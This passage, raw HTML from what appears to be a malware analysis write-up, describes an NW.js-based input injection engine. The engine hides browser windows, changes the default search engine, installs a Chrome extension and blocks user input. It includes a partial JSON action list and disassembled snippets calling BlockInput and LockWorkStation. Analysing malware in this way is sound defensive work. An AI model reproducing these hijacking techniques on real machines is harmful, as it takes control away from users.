&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_TAB&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_TAB&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_TAB&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_TAB&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_TAB&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The actions will instruct the injection engine to gain focus of the browser
window, resize it, and move it off the screen. Once that is done, it navigates
to the settings page for search engines. On the page, it uses keyboard inputs
to navigate around on the page, add a new entry to the search engine list, and
make it the default search engine. Once the search engine has been changed, it
navigates to a website to signal that the actions have been completed
successfully before the page is closed. The logic for Edge and Firefox uses the
same logic. For Chrome extension installation, the browser navigates to the
extension’s page on the Chrome Web Store. It installs the extension as if the
user had installed it from the Web Store.&lt;/p&gt;
&lt;h3&gt;Input Injection Engine&lt;span class="hx:absolute hx:-mt-20" id="input-injection-engine"&gt;&lt;/span&gt;
&lt;a href="#input-injection-engine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The engine file is over 160 MB in size and contains a lot of benign code. The
entry point of the nefarious activity is via the function call
&lt;code&gt;nw.App.secSettings(emuSettings)&lt;/code&gt;. The &lt;code&gt;secSettings&lt;/code&gt; function has been added as
a native function and can be called from JavaScript code. Since the logic is
implemented in C++ and it’s bound to a sandbox provided by a web browser, this
function is only restricted to the user’s permissions on what it can do to the
machine. It’s a neat port-hole into the machine for the operator.&lt;/p&gt;
&lt;p&gt;The engine&amp;rsquo;s actions can be divided into four phases: parsing the argument
passed to the function, converting the action list into an internal
representation, locating the application window, performing the actions, and
cleaning up. While the logic is being used to manipulate a web browser, it can
be used to perform actions on any application on the machine. It even supports
additional input functionality currently not used in the campaigns we have
seen. The supported commands are: move, click, rightclick, scroll, key,
shortcut, text, sleep, focus, minimize, restore, maximize, movewindow, resize,
block, unblock, lock, hide, and show.&lt;/p&gt;
&lt;p&gt;The first four commands, move, click, rightclick, and scroll, are mouse inputs.
Key, shortcut, and text are keyboard inputs. Key uses &lt;code&gt;SendInput&lt;/code&gt; to send a
single keyboard key event to the window, while the shortcut is used to send a
key combination between a key and a modifier. For example, &lt;code&gt;Alt + F4&lt;/code&gt;. Text
sends a string of characters as keyboard key events to the windows with a
10-millisecond delay between each event to simulate typing. Sleep allows the
operator to inject await into the action list. The block and unblock commands
allow the operator to disable or enable keyboard and mouse input from the user;
this can be used to prevent user intervention. The lock command will just lock
the machine. The remaining commands are window events. The code snippet below
shows some of the handling for these commands.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; case 15 == JS &amp;#34;block&amp;#34; -&amp;gt; BlockInput(TRUE)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;TRUE&lt;/span&gt; &lt;span class="c1"&gt;; 17f37211 6a 01
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;JMP&lt;/span&gt; &lt;span class="no"&gt;BLOCKINPUT&lt;/span&gt; &lt;span class="c1"&gt;; 17f37213 eb 02
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; case 16 == JS &amp;#34;unblock&amp;#34; -&amp;gt; BlockInput(FALSE)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;FALSE&lt;/span&gt; &lt;span class="c1"&gt;; 17f37215 6a 00
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="nl"&gt;BLOCKINPUT:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;CALL&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;USER32.DLL&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="no"&gt;BlockInput&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f37217 ff 15 4c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;JMP&lt;/span&gt; &lt;span class="no"&gt;LAB_17f37234&lt;/span&gt; &lt;span class="c1"&gt;; 17f3721d eb 15
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; case 17 == JS &amp;#34;lock&amp;#34; -&amp;gt; LockWorkStation()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;CALL&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;USER32.DLL&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="no"&gt;LockWorkStation&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f3721f ff 15 70
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;JMP&lt;/span&gt; &lt;span class="no"&gt;LAB_17f37234&lt;/span&gt; &lt;span class="c1"&gt;; 17f37225 eb 0d
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; case 18 == JS &amp;#34;hide&amp;#34; -&amp;gt; ShowWindow(hWnd, 0 = SW_HIDE)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;SW_HIDE&lt;/span&gt; &lt;span class="c1"&gt;; 17f37227 6a 00
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;JMP&lt;/span&gt; &lt;span class="no"&gt;SHOWWINDOW&lt;/span&gt; &lt;span class="c1"&gt;; 17f37229 eb 02
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; case 19 == JS &amp;#34;show&amp;#34; -&amp;gt; ShowWindow(hWnd, 5 = SW_SHOW)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;SW_SHOW&lt;/span&gt; &lt;span class="c1"&gt;; 17f3722b 6a 05
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="nl"&gt;SHOWWINDOW:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;EDI&lt;/span&gt;&lt;span class="err"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;DAT_fffffff8&lt;/span&gt; &lt;span class="c1"&gt;; 17f3722d 57
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;CALL&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;USER32.DLL&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ShowWindow&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="no"&gt;f3722e&lt;/span&gt; &lt;span class="no"&gt;ff&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Before any actions are taken, the engine first checks if a browser window is
open. It checks the title of all windows against the regex provided by the
JavaScript caller. If it finds a matching window, it records its placement and
size. This data is saved so the state of the window can be restored. The code
snippet below shows this logic.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;LEA&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="err"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;local_6c&lt;/span&gt;&lt;span class="p"&gt;,[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f363fd 8d 45 98
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; 17f36400 50
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;EBX&lt;/span&gt; &lt;span class="c1"&gt;; 17f36401 53
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;CALL&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;USER32.DLL&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="no"&gt;GetWindowPlacement&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36402 ff 15 10
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_50&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36408 8b 45 b4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_15c&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; 17f3640b 89 85 a8
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_50&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36411 8b 45 b8
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_158&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; 17f36414 89 85 ac
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_50&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="c1"&gt;; 17f3641a 8b 45 bc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_154&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; 17f3641d 89 85 b0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_50&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36423 8b 45 c0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_150&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; 17f36426 89 85 b4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;ESI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;EBP&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="no"&gt;local_140&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f3642c 8b b5 c4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOV&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ESI&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="no"&gt;EBX&lt;/span&gt; &lt;span class="c1"&gt;; 17f36432 89 5e 14
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="no"&gt;EBX&lt;/span&gt; &lt;span class="c1"&gt;; 17f36435 53
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;CALL&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[-&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;USER32.DLL&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="no"&gt;GetDpiForWindow&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;; 17f36436 ff 15 74
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nf"&gt;MOVD&lt;/span&gt; &lt;span class="no"&gt;XMM0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; 17f3643c 66 0f 6e c0
